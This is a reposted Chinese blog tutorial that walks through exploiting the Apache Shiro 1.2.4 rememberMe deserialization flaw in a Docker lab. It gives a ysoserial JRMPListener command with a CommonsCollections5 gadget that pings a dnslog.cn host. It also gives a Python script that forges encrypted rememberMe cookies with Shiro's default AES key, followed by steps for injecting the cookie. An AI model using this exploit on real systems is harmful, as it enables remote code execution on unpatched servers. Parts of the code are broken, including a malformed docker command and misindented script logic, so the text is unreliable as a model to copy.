shiro反序列化


Shiro是一個強大且易用的Java安全框架,主要用於身份驗證、授權、密碼和會話管理。
使用docker下載一個鏡像,搭建一個shiro1.2.4的漏洞環境
運行下載好的鏡像
sudo docker pull -p 8080:8080 -d medicean/vulapps:s_shiro_1
訪問8080端口、使用root用戶登錄、一定要記住密碼
使用YSO的JRMP進行監聽7777端口
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "ping sntg9w.dnslog.cn"
     
     
     
             
然后使用poc.py生成cookie
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):    
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)    
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #這里替換密鑰
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)    
    file_body = pad(popen.stdout.read())    
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    
    return base64_ciphertext
    
    if __name__ == '__main__':   
         payload = encode_rememberme(sys.argv[1])    
print ("rememberMe={0}".format(payload.decode()))
然后抓包替換cookie
正常發包的cookie
然后刪除JSESSIONID和空格、並把我們使用payload生成的cookie替換上
這是修改后的cookie,可以看到返回包中存在“rememberMe=deleteMe”,可以確定為shiro框架
然后查看我們監聽的7777端口,看是否有流量經過
在檢查DNSlog是否有記錄


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM